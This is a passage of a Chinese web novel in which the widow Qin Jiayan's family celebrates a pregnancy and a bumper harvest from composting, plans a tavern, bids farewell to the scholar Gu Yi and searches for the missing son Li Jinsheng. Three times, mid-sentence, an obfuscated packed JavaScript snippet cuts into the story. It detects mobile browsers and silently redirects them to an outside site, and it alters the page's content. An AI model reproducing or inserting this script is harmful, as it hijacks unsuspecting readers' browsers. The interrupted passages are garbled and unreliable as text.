秦嘉言拍拍她的手,“傻孩子有啥不能说的,你还有事要瞒着娘?” 李氏连忙把齐嘉言的手拉过来。“娘你不知道。今天遇到我娘家人时,玉桂她就拦在我的前面,怕我挨欺负。我大嫂冲过来时推了她一下,她的膝盖都跌青了,要不咱们也不会去医馆。”她瞥了眼陈氏,继续说:“这一去才知道。她已经有两个月的身孕了。” 秦嘉言一听陈氏被撞倒,就紧张的不行:"怎么还摔了?你快回屋躺着去,还在这儿干啥?大夫怎么说?用吃安胎药什么的不?" “娘。”陈氏嗲嗲的喊:“我真的一点事都没有,不信你问大嫂。我一点感觉都没有,要不是大夫说我真怀上了,我还不知道呢!” 正说着,院门口传来脚步声,李闻生和李金生拿着两个大篮子进来,李金生见着秦嘉言就笑:“娘,我们刚从镇上回来,玉桂有孕,我们就让李氏和她做骡车先回来了。我和大哥为了省两个钱走回来的。我还给玉桂买了些核桃和红枣,还有两包红糖。”他把东西往桌上放,动作比往常轻了不少。 “这回的事,办得倒周到,还知道买东西。”秦嘉言看着二儿子,眼里多了几分欣慰。 李金生挠挠头,脸上有点红:“我这也是听大哥说的,女人怀着身子得吃这些,就多问了几家铺子,挑好的买的。” 秦嘉言让大伙都上桌,自己又去西屋把顾毅叫了出来,把李氏改名和陈氏有孕的事情告诉他:“今天咱们家都是好事,咱们得好好喝几杯。” 顾毅看着她,眼里含着笑点点头,“恩!今天我们不醉不归!” 33. 第 33 章 日头刚擦过西山顶,院子里的风都带着股子凉丝丝的气儿。 秦嘉言把最后一碗卤鸭货端上桌,用手背擦了擦额角的汗,扬声喊:“今天我做的菜足够多,大家伙都敞开了吃,咱们好好庆贺庆贺!” 李闻生正帮着大家搬板凳,李氏坐在他身边嘴角咧得老大,高兴的把那户籍文书拿给刘菇看:“你看这个!有了这份东西,我跟我那娘家算是彻底断干净了!往后他们再敢来要钱,我就拿这个去报官!” 大梁朝的户籍制度非常严格,李氏能够拿到李家村的户籍,还是村长看在秦嘉言的面子上,又加上李氏是女丁,不用给她分田地,才给李氏签字画押,不然就算是她和胡氏一族彻底断了关系,也没有地方落户,就跟无根的浮萍一样没有依仗。 秦嘉言看她高兴,自己也跟着开心,伸手拍了拍她后背:“咱们都替你高兴,你今天算是重生了一回,往后的日子好好过,别再委屈了自己,咱们家人多,你娘家人应该是不敢闹到这里来的。他们要真敢来,我就,我就拿大扫帚再赶出去!”说着夹了个鸭翅膀搁她碗里,“你快尝尝这个,我放了许多辣椒,虽然有点辣,但是特别香,你就吃吧!保证非常过瘾。” 鸭脖鸭翅堆在一个大盆里,上面裹着红油,麻味混着辣劲窜出来。味道好闻的他们直流口水。 李氏咬了一大口,辣得嘶嘶吸着气,眼泪都呛出来了,却直点头:“好吃!真好吃!这味儿从没尝过,辣得太爽了,根本停不下来,欲罢不能啊!” 陈氏坐在一旁,她手轻轻搭在小腹上,脸上带着点怯生生的笑:“娘,也给我来一小块成不?我快馋死了。”坐在她身边的李金生,连忙把她面前的一大盆卤鸭货挪到离她远远的地方:“大夫说了,你不能吃太辣的,现在才两个多月,你可得仔细着些。” “哪有那么多事儿,只吃一小块不妨事的。”秦嘉言往她碗里夹了块鸭肝,“慢点儿嚼,咱们今天就吃这一小块,明个在卤鸭货的时候,我单独给你做不辣的,让你好好过过瘾。” 反正以后秦嘉言打算在卤煮旁边再开个鸭货摊,这鸭货以后会经常做,就怕大家伙到时候吃的都不想再吃了。 刘菇性子最活泛,这会儿正抱着个鸭头啃得欢,辣得直伸舌头,含糊不清地说:“娘,这鸭货做的真绝了!你还别说,这东西肯定比我们的卤煮更好卖,明天收鸭蛋的时候,咱们在多收点不能下蛋的老母鸭,都给她做成鸭货!” 李水生在旁边笑她:“吃你的吧,你看你吃的满嘴油,还不擦一擦,你想做这买卖还得等等,咱们还是先把秋收忙完再说。” 李水生虽然不参与她们婆媳几个的生意,但也知道这阵子,他娘领着这三个儿媳妇儿赚了不少银子。但他和他大哥的想法一样,农民还是要以田地为主,马上就要秋收了,他媳妇儿的想法固然好,但肯定也得等秋收以后再说。 老四李玉生正闷头扒拉饭,闻言插了句:“今年地里的麦子长势太好了,今年用的那些肥料,撒下去没几天,苗就蹿得比往年高半截,穗子也实诚,估摸着能多打不少。娘,到时候你也得张喽给我娶几房好媳妇儿了。在给我买些新衣服呗,我看镇上出了很多新样式,我也想好好收拾收拾去镇上逛逛” 这些天,他跟着顾毅练拳,很少在跟以前那些狐朋狗友出去,感觉身体比以前强壮许多,那些衣服都小了一圈。再加上他好久没有出去会会从前那些朋友,有点想念之前的日子。 李闻生最疼他这个弟弟,一看他这样,就知道他这心思又活泛起来,想要出去玩了。他喝了口酒,放下碗接话:“我看你这身体,可比以前好多了,你可不能再像之前那样胡吃海喝了,小心在造坏了身体!” 他看李玉生不吱声,用手拍了拍他的头:“再说了,马上就要秋收了,你得收收心帮家里多干点活!” 李金生把话接了过去:“我昨儿去地里看,那玉米杆子都快比人高了,今年肯定会比往年打的多,要我说,还不得一亩地还不得打上六十升。”他看着秦嘉言扬了扬头。“娘,今年要是真多收这么多粮。回头你要开酒楼的银子,就差不多够了吧。” 秦嘉言起身给顾毅倒了一杯酒,又迅速的往嘴里扒了口饭,嚼着说:“我正盘算这事呢。秋收完了手头能松快些,就去镇上寻个小酒楼盘下来。到时候老大媳妇跟我先过去搭架子,老三两口子也跟着。” 她转头看陈氏,安慰道:“你这头一胎,月份还小,现在家里好好养养。等过了三个月胎坐稳了,在让老二把你送过去,帮衬着算账啥的,不能让你干特别重的活。” 陈氏眼睛亮起来,手把肚子护得更紧了:“娘,我们真能开酒楼啊?那往后咱也是有铺子的人家了?” “当然了!酒楼要是开的好,挣了银子,我给你们一人开一个。”秦嘉言话音刚落,坐在她旁边的顾毅忽然放下筷子,站起身来,规规矩矩作了个揖。 “秦娘子,各位子侄,顾某在这儿叨扰了大半年,实在过意不去。秋收之后,在下就得动身去府城,该准备秋闱的事了。” 秦嘉言手里的筷子顿了一下,心里头忽然空落落的。这人虽话不多,却实在帮助他许多事,帮他做水车,宣传肥料,还帮着教老四认字练拳,地里的活计也搭过手,这大半年下来,倒真跟家里人似的。 “这么快?这就,要走了?”她把筷子搁在碗边,“不再多住些日子?等过了秋收,让老大媳妇给你备些干粮路上吃,我再给你凑点盘缠。” 顾毅摇摇头,眼里带着感激:“秦娘子的好意,我心领了。盘缠我自己攒了些,再不走就赶不上府城的报名了。这半年来,秦娘子和各位待我跟自家人一样,这份情,我顾毅记一辈子。等将来...等将来有了出息,定要好好报答。” 李闻生在旁边搭话:“顾先生说啥呢,您教老四认字练拳,帮咱们村里造水车,还帮着看那肥料的法子管用不管用,我们该谢您才是。” 秦嘉言叹了口气,拿起筷子给顾毅夹了块金丝御鸭:“罢了,一看你就是干大事的人,总不能一直窝在咱这小村子里。你去赶考,路上当心些,到了府城要是方便,给家里捎个信,让我们也放心。” “那是一定的,等我安顿下来就给你们写信。”顾毅应着,眼圈有点发热,坐下扒拉了两口饭,却没尝出啥味来。 饭后收拾碗筷,女人们在灶房里一边洗碗一边叽叽喳喳说着开酒楼的事,男人们在院里劈柴,秦嘉言刚要回屋拿东西,就被顾毅叫住了,“秦娘子,能借一步说句话吗?” 李家后院的葡萄架爬得密,藤叶间坠着些青葡萄,风一吹,葡萄的影子在地上轻轻晃悠。顾毅从怀里掏出个布包,层层打开,里头是块半旧的黄色玉佩,玉质不算顶好,雕着朵简单的兰花。 “这是我娘留给我的念想,说将来把它送给……”他把玉佩递过来,手指有点抖,生怕秦嘉言不接过去,急忙解释道:“这就是普通的玉佩,不值啥钱,秦娘子你拿着。往后不管遇到啥难处,不管我在啥地方,您拿着它来找我,只要我能办到的,绝无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131628|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二话。” 秦嘉言捏着那玉佩,冰凉的玉贴着掌心,心里头像被啥东西撞了一下,酸酸的。她知道这顾毅的心思,就像她也清楚自己那点不该有的念头。可她是啥人啊?三十六岁的年纪,在这地界都能当奶奶了,四个儿子三个成家,再过十个月,陈氏生了,她就是正经的奶奶辈。顾毅才二十四岁,往后要是中了举,那是要往高处走的,跟她这半截身子入土的人扯在一起,算啥呢? 她把玉佩重新塞回他手里,脸上挤出笑来:“你呀,我们都这么熟悉了,你跟我还客气啥?我能有啥难处?再说了,等咱酒楼开起来,说不定往后生意做大了,还能去京城开个分号呢,到时候你要是在京城做官,咱不就又见面了?” 顾毅的手僵在半空,喉结滚了滚,把玉佩又往她跟前送了送:“秦娘子,你就拿着吧,就当...就当留个念想。京城...我一定会去的。” 秦嘉言看着他眼里的光,那光里有她看不懂的执拗,也有她不敢接的热乎。但她最终还是接了,揣进围裙兜里,指尖能摸到玉上的纹路。“行,我先拿着。先替你好好保管,那我就盼着你秋闱高中,将来在京城当大官,到时候可别忘了来照顾我这小酒楼的生意。” “那是一定的,我们可是‘一家人’”顾毅看着她鬓角的碎发被风吹起来,想说点啥,张了张嘴,最终还是把话咽了回去。 葡萄叶在头顶沙沙响,俩人都没再说话。秦嘉言想着,等秋收完了开了酒楼,日子忙起来,这些不该有的念头,总会慢慢淡下去的。 转眼,秋收到了。 李家村的人这天都没去自家地里,全围到李家的田地边,望着那结了好几个棒子的玉米杆不住地念叨:“这玉米结的也太好了,一个杆子上都有六、七棒了,这秦娘子家今年可是丰收了。” 一个穿着补丁的大叔用力的掰下一个棒子,扒开玉米皮看,“你瞧瞧这棒子多大!你看这粒儿多饱满。沉甸甸的,都要把玉米杆子压弯了。” “这李家用肥料种地的方法也太好了,可惜我家今年我家用晚了,没她家接的这么多。明年我也要堆肥,所有的田地都要堆!” 秦嘉言站在地里头,望着长势喜人的成熟的庄稼,咧着嘴笑开了。她知道肥料肯定有用,但没想到效果会这么好,她家的地和旁边的地一对比就看出差距了。今年的收成肯定不能少! 李闻生弯下腰掰下了一跟玉米杆,上面的玉米沉甸甸,每一棒都特别大特别沉,手腕得用足力气,才能颠起来。 站在田边上看热闹的众人纷纷跳下了田埂,“闻生,让我试试。你家这亩地我帮你收了!回头你在教教我你家那厕所旁边的肥料池是咋堆的!” “我也赶紧去我家地里看看,我家那麦子长得比去年好多了,瞅着就多,那麦粒也比去年大一圈。” “秦娘子,你家这麦子也好啊,你瞅瞅,这么大麦穗,我割着都有力气。”大家为了感谢秦娘子教他们施肥,都先跑到她家的地里去帮李闻生他们割麦子。 只要眼睛的,就知道秦娘子家里今年绝对的大丰收,只用了一天村里这些人手忙脚快的把秦嘉言家的地都收了。 这些天,李闻生带着三个弟弟在院子里面给晒好的玉米和小麦脱粒,在一袋一袋装进麻袋里。 李家的院子外面围了半个村子的人,个个都瞪直了眼睛看着那一袋袋粮食。 村长李长贵看着秦嘉言憋不住问:“秦娘子,你跟我说个实在的。你家今年这一亩地,到底能装多少袋?” 34. 第 34 章 秦嘉言数着堆放在一边的粮袋,笑眯眯的跟他说:“你看吧,都放在这了。我数了一下麦子和水稻的话,一亩地大概五袋。玉米就多了,今年这一亩地足足装了十大袋。” “什么?十袋!”李长贵听的心惊肉跳。“往年你家这地,顶破天一亩也就五袋出头,今年这,这肥料也太强了,直接翻一倍啊!” 人群里顿时炸开了锅。“可不是咋的!我家那地跟她家挨着,俩家往年收粮食数量都差不多少,今年这差距也太大了,早知道我也用那个肥料就好了!”王振壮媳妇气的直拍大腿。 王振壮家的地和秦嘉言家的地紧挨着,这些年两家没少因为相邻的地垄吵架,吵的最凶的那几年,两家人几乎见面都一句话不说。虽然今年没有因为田地的事儿吵架,但王振壮媳妇也拉不下来脸和秦嘉言学施肥。 今年秦嘉言弄了那个水车,她家一开始还不想出人挖渠,后来看全村都去了,她家这几亩旱地也确实需要浇灌,才黑着脸让王振壮跟着家里两个小子,趁着天擦黑的时候把水渠给挖了。 “还不是你这婆娘!说什么饿死也不能和李家低头!”王振壮埋怨的接了话,“我就说要去学施肥,你非得拦着死活不让去!还好今年去跟着挖水渠,咱家这地浇透了,要不然今年这上交的粮食都够呛能凑齐!” 王振壮的媳妇微微直起腰,狠狠的拧了他一把,又往他身上吐了口唾沫,“还不是你!往年她家占一点地垄你就不乐意,非得让我去和她说道,要不我能跟她结怨么!现在可好,啥事都往我身上推!你咋不说说你自己这抠货!” “赶紧回家吧,别在这丢人了!”王振壮的声音越来越低,“明儿我拿点东西找李闻生说说,看看他能不能在教教咱们。” 李二柱没有管王振壮一家,这些年他家和秦娘子家因为地的事没少起争执,本来就是两家相链接的地方,王振壮非要自己占了去,秦娘子也不是个好相处的,直接把他种的苗全都薅了,还放上一排石子挡上。第二年也学得有莫有样的把相连的地垄占了去,种上了庄稼。 虽说两家这仇越结越深,但李闻生教大家施肥的时候,也没刻意说不让谁学,其他几家跟秦娘子有龌龊的人,都偷偷派人去学了。回去施了肥之后,又偷偷托人给秦娘子家送了一小筐鸭蛋。 李二柱拍着大腿直乐:“得亏我今年留个心眼,把咱家剩下那些地都施了肥。咱家那些稻子刚割完还没晒好,等晒好了我看也不会差!”他媳妇在旁边接话:“可不是嘛,往年割稻子,镰刀下去轻飘飘的,今年得使劲才割得动。一开始烧苗那块地也救过来了,虽然不如其他地,但照比往年也差不了多少。” 没跟着学的人蹲在自家谷堆旁,看着自家的谷子,脸拉得老长:“悔死我了!李闻生教大伙施肥的时候,还特意来叫我,我还说他瞎折腾。你看我这,跟去年差不离,这么多亩地就多了两袋。”他媳妇拧了他一把:“让你不听劝!明年说啥也得跟着好好学,就是他家那粪堆,也得弄!回去就弄!” 又过了几天,村长李长贵拿着个烟袋背着个手,笑眯眯地往李家院子里走,隔着老远就喊:“秦娘子!秦娘子在家吗?” 秦嘉言从屋里走出来,迎了上去,看见他那笑得像朵菊花似得老脸,不禁一乐:“村长,有啥好事这么乐呵?今年你家收成也不错吧!婶子给你钱打酒了?” “嘿嘿,我能不乐呵吗?”李长贵往她家院子里扫了一圈,声音洪亮大声说到:“县衙里收粮的官差刚走,当着全村人的面使劲夸咱们村呢!说咱李家村今年交的粮食,不仅数量足,颗粒还饱满,晒干了称,一点水分都不带多的,比哪年都强!还说咱们村是这整个镇里交得最快的,让其他村都学着点!” 他拍了拍自己的大烟袋,双手合十向秦嘉言微微点头:“这都得要谢谢你!要不是你今年研究处了水车,又把堆肥的法子拿出来,手把手教大伙儿,咱村能有这光景?往年收粮,哪回不是催了又催,还总怕不够数?今年倒好,官差验完粮,直竖大拇指!还说作为鼓励,今年的田税,要给我们村减一成!” 李长贵伸出一个手指,用力的在她眼前晃了晃,“一成!那可是一成!每家至少能少交一袋粮食了!你可真是大家的活菩萨啊!” 秦嘉言红了脸,一个劲儿摆手:“长贵叔你可别这么说,什么菩萨不菩萨的,那都是大伙儿肯干。再说这法子也不是啥稀罕玩意,大家能多打粮食就行。” “怎么不是稀罕玩意,咱们种庄稼这么多年就没人能想得出这主意!再说了,今年安装上水车的那些村子哪个不夸你和顾毅。要我说,等你今年秋粮都收完了,这周围其他村的人都得来感谢你!” “那可别,我还想消停消停呢!这几日我正去镇上寻么铺子,等找到了,就带着几个儿媳们先过去了。”她想了想,把李长贵拉到一旁的椅子上坐下。“长贵叔,我跟你说的那事儿,你考虑的怎么样了?” 李长贵一拍脑门连忙接话:“瞧我这记性!我来也正想跟你说这事呢!你家那几亩地要找人照料,村里知道信儿的人都抢疯了,差点打起来!都说那是风水宝地,争着抢着要帮着你看地。” 秦嘉言计划秋收之后去镇上开酒楼。就想把自己家的地都托付出去。没想着卖,因为还要交田税,把地卖了交田税粮食就得全部靠买,那样很不稳定。 她跟村长说,要将自己家的地交给村里其他人打理,每年只要给她家能够交田税的粮食就行。剩下多打出的粮食都归他们自己,没想到会这么抢手。 李长贵磕了磕烟袋,继续跟秦嘉言说:“我和几个族老商量了一下,你家的地,就不交给别人了,村里直接替你打理好。每年直接从这些地里拨出粮食给你们家人交田税,剩下的粮食就都送到村里的吉安堂,给那些孤寡老人和孤儿们送去,就算是帮你积攒一些功德。” 秦嘉言点点头,往李长贵的手里抓了两把花生。“那太好了,这事儿就这么定了!来年春天,咱家这地就交给村里了!长贵叔,真是太谢谢你了!” “说什么谢谢不谢谢的,大伙都应该感谢你才是,别说那水车和肥料,就光说那金蛋!就让咱们村的人都有了营生。你看咱们村现在谁家兜里不鼓鼓囊囊的。要不是我拦着,他们都要给你立长生牌位了。我知道你想低调不想到处宣扬,我可是费了好大劲儿才劝服大伙。”李长贵又夸了几句,才被别处的村民拉走说话。 李闻生这时候凑过来,抓了两把花生,剥开了放在嘴里:“娘,前儿听村里人说,县里的官田也大丰收了?” “嗯,没错。”秦嘉言点点头,把散落在桌子上的花生都抓到盘子里:“周先生特意派人来说了,你和金生、水生他们几个帮着县里施肥的那几亩地,收成挺不错的,比往年多打了三成。就是贾大人去京城述职还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135457|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,不然这法子怕是早让全县都学着弄了。” “那邻村的人来问我,我让不让他们来学呀?”李水生插了句嘴,他刚刚从外面回来,热得不行,从缸里舀了一瓢水喝了下去。。 “来就来呗,”秦嘉言说得干脆,“他们啥时候来,咱们啥时候教。大家都是种地的,多打几担粮食比啥都强。毕竟大家好才是真的好么!” 她想了想,看向坐在葡萄架下面纳凉的陈氏,“玉桂,你娘家那边,也应该说说这法子。你怀着身子不方便,我让金生替你跑一趟,跟你父亲好好讲讲咋堆肥,啥时候上肥合适。” 陈氏手轻轻护着肚子,闻言抬头笑了:“娘,我昨儿晚上就跟金生说了,他今儿一早就过去了,现在他应该都到了。” “娘,那我跟刘菇也回趟她娘家?”李水生问。 “去吧,早去早回,要是来不及,就在那住上一晚上,别贪黑回来。”秦嘉言挥挥手,让他赶紧收拾收拾早点去。 李水生两口子当天就走了,第二天晌午才回来。刘菇刚进门就喊:“娘,我跟水生把法子跟我爹娘、哥嫂都说了,他们听得仔细,说这就找材料堆肥呢!” “那就好!今年把肥堆起来,明年开春就能直接用了。”秦嘉言笑着接过话。 “娘,我爹还特意让我给你带了家里种的白梨,不是啥稀罕玩意儿,就是一份心意。正好二嫂有身孕,不爱吃东西,吃这玩意儿能缓一缓。”说完她从李水生背着的筐里,挑出了一个大梨,放在了陈氏的手中。 “多谢亲家还惦记着,给你二嫂多拿几个梨吧,她今早吐了半天,什么都没吃下去。”秦嘉言应着,心里却犯嘀咕,李金生咋还没回来?陈氏娘家离着也就二十里地,就算慢慢走,一天打个来回绰绰有余,何况他昨天一早就出去了。 陈氏也坐不住了,扶着桌子站起来,眉头皱着:“娘,老三两口子都回来了,金生咋还没回来?金生他,该不会出啥岔子吧?”她手捂在肚子上,声音有点发颤,“昨儿早上临走时,我还跟他说早点回来,别耽搁太久。” “你别多想,就这么点儿距离能有啥岔子?”秦嘉言嘴上安慰,心里也跟着揪紧了,“许是路上耽搁了,或者你父亲留他吃饭也说不定呢,再等等,等一会兴许他就回来了。” 可等到日头偏西,还是没见李金生的影子。陈氏的脸色越来越白,坐一会儿就站起来往村口望,手紧紧攥着衣角。 “娘,要不我过去找找?”李闻生看着弟媳妇焦虑不安的样子,主动开口,“我跟刘婶子借骡子,去他丈人家问问,快得很。” 秦嘉言点点头:“去吧,路上当心。问问他到底咋回事,要是没事,让他赶紧回来,玉桂在家急坏了。” 李闻生应声去邻居家借骡子,坐上骡子刚要走时,还回头看了眼陈氏,见她望着自己期盼的样子,勉强笑了笑:“弟妹别担心,我去去就回。” 这一等,又是两个时辰。太阳快落山时,李闻生才赶回来,骡子跑得浑身是汗,他自己也是一脸急色,跳下骡子就往院里冲:“娘!” 秦嘉言和李氏赶紧迎上去,一旁坐着的陈氏声音都抖了:“大哥,金生呢?他是不是在我娘家?” 李闻生看了眼陈氏,又看向秦嘉言,嘴唇动了动:“弟妹,我去你娘家问了,我二弟,他昨儿晌午就从你家出来了,说要赶紧回村,没在那儿过夜。” 35. 第 35 章 “啥?他没在我娘家?”陈氏腿一软,差点坐地上,李氏眼疾手快扶了她一把。“你先别着急,小心肚子里的孩子。” 陈氏扶着肚子,眼泪在眼眶里打转,“昨天他就说回村了?那咋没回来?这都一天一夜了!他能去哪?” 秦嘉言的心沉了下去,眉头拧成个疙瘩,回头问李闻生:“他丈人没说他往哪个方向去了?” “他老丈人说,没看见他往哪里走,就说他走得特别急,像是有啥事似得。”李闻生走到秦嘉言身边在她耳边低声说:“娘,我有事儿跟你说。” 陈氏在旁边急得直掉泪:“他,他能去哪啊?会不会是路上遇到劫匪了?还是摔着了?会不会和顾先生一样,中暑摔沟里了,还没人发现?这可怎么办才好!” “你别瞎想了!还兴许是半路遇到谁,教人家施肥去了呢!人留他吃顿饭啥的。还兴许顺路去了哪个村也说不定!一会我们再出去找找。”秦嘉言硬着嗓子打断她,怕她越想越慌动了胎气,“定馨,你送陈氏回屋里歇一会,在给她熬副安胎药。让她收收神儿。闻生,你跟我过来。” 她拉着李闻生往院子后面的柴房走,避开陈氏。到了柴房门口,才停下脚步,声音压得更低:“怎么了?你老实说,是不是路上听到啥风声?你二弟那性子,是不是又犯啥浑了?” 李闻生搓了搓手,一脸为难:“娘,我回来的时候,路过村口那茶瞭那里遇到了李老栓。我跟他打听,他说,他说昨儿后晌,看见王麻子鬼鬼祟祟地回村了。” “王麻子?!”秦嘉言的脸“唰”地沉了下来,眼里冒着火。王麻子跟李金生一直有来往,王麻子总骗李金生去赌博,被她收拾好几次了,上次因为他要破坏水车,本应抓了他去官府,结果被乔三爷保了下来。 不过王麻子已经被村长勒不许他再回村,他也只呆在小渔村不回来,这次怎么…… “但您放心,李老栓说,没看见二弟跟王麻子在一块儿,所以金生不一定又去玩儿了。”李闻生怕她娘生气赶紧补充,“但他说王麻子回来的时候躲躲闪闪的,准没好事。” 秦嘉言的拳头攥得咯吱响,指甲深深嵌进肉里。还用说吗?这混账东西,十有八九是被王麻子勾着,又去赌了!她刚想骂出声,猛地想起陈氏还在院里,怀着身孕呢,哪能受这刺激? 她深吸一口气,强压下心头的火气,脸色铁青地对李闻生说:“这事,先别跟你弟妹说。她怀着身子,经不起吓。你再去村里找找,跟相熟的人家问问,看有没有人见过你二弟。我去小渔村那家赌场看看!”说到“赌场”两个字,她的牙都快咬碎了。 “哎!我这就去,娘你跟老三一起去,别一个人走夜路。”李闻生应声就要走,又被秦嘉言拉住。 “我知道,你找的时候动静小点,别让你弟妹看出来啥。”秦嘉言叮嘱道,眼神里满是无奈和疲惫,“这混账东西,真是要把我气死。等抓住他,我非给他腿打折不可!” 李闻生和李氏就在村里挨家挨户问,秦嘉言带着李水生点着一盏灯笼来到小渔村,小渔村黑漆漆的一片,几乎家家都睡着了,只有东头的赌场里面还亮着些许灯光。 秦嘉言推门进去,四周环顾了一圈,没有看见李金生的影子,也没有看见应该待在这里的王麻子。 这时候,坐在里面的老鼠脸,看见了秦嘉言,他连忙凑过来,嬉笑着:“呦!这不是秦娘子么!哪阵风给你吹到这儿来了?你今儿到这是想干什么?” 秦嘉言看着他那贼眉鼠眼的样子就气不打一处来,用力的推开了凑到她身边的人,“我问你!我之前跟你们说的话都当是耳旁风了吧?你就不怕我再把你这赌场给砸了?!” 老鼠脸一看她来者不善,顿时沉下了脸,“秦娘子,瞅你今天来是有什么目的吧!我先说好了,你儿子可不再我这里,要是今儿你把我这在砸一次,我肯定不能让你就这么出去!” 秦嘉言伸手把他推开,又在赌场里找了一圈,依旧没看见李金生,她正想往外走,想了想又顿住脚步,一把拽过老鼠脸,“我问你,你们那个王麻子呢?他在哪?” “王麻子?!”老鼠脸就像是被踩到了尾巴一样跳起来,“我还找他呢!别让我抓住那个死小子!他前些日子偷了赌场里的钱,不知道跑哪去了!我让人在他家门口堵了好几天,都没找着他!” 他抬眼看向秦娘子疑惑的问:“秦娘子,你这是在哪看到他了吗?赶紧告诉我,我这就找人去抓他。” 秦嘉言摇摇头,他知道李金生现在肯定不在这里。她这找也没有用,就示意李水生跟她往回走。 老鼠脸见状,连忙拦住了他们。“怎么着?拿我这当城门呢?说来就来,说走就走!你们肯定知道王麻子在哪?今儿你要不把他的下落说出来?你们谁也别想从这离开。” 秦嘉言把灯笼放在李水生的手中,回头看向老鼠脸。“你这是年纪轻轻耳聋了不成?我都说了,我没有见到王麻子,你现在这么拦着我们是什么意思?” “没什么意思,就是想请秦娘子行的方便。要是知道王麻子的下落,告诉我。我也好省点事儿不是。”老鼠向她做了个揖,躬着身子显得有点不伦不类。 秦嘉言搬个凳子,吹了吹上灰,坐在上面。“我都说了我不知道。你们要是不相信我也没办法。不让我走?你确定?那我今儿还真就不走了,我看你一会怎么把我请出去。” 老鼠脸一看秦嘉言这架势,有点叫不准她到底知不知道,又心虚的往后面看了看。 片刻后,乔三就从帘子后面走了出来,他盯着秦嘉言看了半天没有说话。他对这个油盐不进的秦娘子,有种说不出来的感觉,有点恨她不给自己面子,不肯将金蛋的做法独家卖给他,又有点敬佩她的胆色和智慧。 “秦娘子,乔某的人不懂规矩,惊扰到娘子,乔某在这里向你道歉。前些日子,那王麻子值夜的时候,卷走了赌场当天的全部收入,大约百两银子,他有些着急,也实属情有可原。请问秦娘子谅解。” 秦嘉言有点吃惊,这样一个村里的小赌场一天居然就能有百两收入。这个朝代的人是太有钱了,还是他有其他营生呢? 乔三自知失言,脸色有些难看,回头狠狠的踹了老鼠脸一脚。“蠢货!还不跪下给秦娘子赔罪。要是她不原谅你,你就别起来了,跪死算了!” 老鼠脸吓得立刻跪了下来。“秦娘子小的我有眼无珠,您大人大量原谅我这一次吧。”说完他“砰砰”的给秦嘉言磕了两个头,给站在一旁的李水生吓了一大跳。 秦嘉言盯着乔三看了半天,叹了口气,“算了,我今天就是来找李金生的,既然他没在这,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140602|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就不多留了!” 她拍了拍裤子上灰,站了起来,“还得麻烦乔三爷,要是看见我家那小子,就派人告诉我一声。放心,不能让你的人白跑一趟的。” 乔三连忙点点头道:“放心,我要是看到了,一定把人给你平安的送回家。” 秦嘉言没有说话,转头离开了赌场。 第二天晌午,李闻生从镇上赶回来,刚一进院,就跑到秦嘉言身边,“娘,我今儿个去镇上,王记赌场那掌柜的说,金生最近没有去过。周围村子的小赌场我都找遍了,都说没有看见李金生。” 陈氏的亲爹娘都在李家院子里,一大早,他们就赶过来了,帮着找人。 陈氏的手猛地一顿。她抬起头,眼眶有点红,看着自己的亲娘高氏:“娘,那……那他能去哪儿?”她下意识地摸了摸小腹,声音发颤,“他那天离开你家的时候,就没有说什么?” “没有啊!”陈氏的亲爹陈守国急得直跺脚,:“那天他来的时候,就着急忙慌的,说你家婆婆想出了种地的法子,叫施肥,说用这样的方法,庄稼能多收一倍。他让我们多收集一些粪水垃圾什么的,还仔细的教了一遍粪水怎么拌,细土怎么筛。我留他中午在家吃饭,他说有事,说什么都没留,急冲冲的就走了。我和你娘追出去的时候,他都走没影了,我都没看见他从哪个方向离开的。” 陈氏低下头,眼泪“吧嗒”掉在地上。这两天,她心里像揣着个兔子,心扑腾扑腾跳个不停,她真怕金生真出了啥意外,往她娘家去的时候,得翻过一座大山,山里有野兽,河边滑,万一……她不敢往下想;又怕他去哪个赌场了,这要是在外面欠了钱,未来的日子可咋过啊!她婆婆这回肯定不能放过他。 “娘,我知道他不争气。”陈氏吸了吸鼻子,看着秦嘉言,声音闷在喉咙里,“可他要是真去赌了,输光了也就罢了,好歹能活着回来。我就怕……就怕他是被人害了,或是掉哪个沟里……”她说着就哽咽起来,手紧紧按住肚子,“这娃现在才三个月,他要是不在了,我跟娃……” “呸呸呸!”高氏赶紧打断她,往地上啐了两口,“你胡说啥呢!你现在就是怀了身孕,爱胡思乱想,这两个村子来来回回走过这么多人,哪个出事了,你别自己吓自己!” 秦嘉言走到陈氏身边,拍了拍她的背,手却冰凉,“就是,那混小子命硬着呢。前几年跟人去山里打猎,被蛇咬了都没死成,哪能这么不经折腾。他就是没脸回来,等过些日子,钱花光了,饿极了,自然就回来了。” 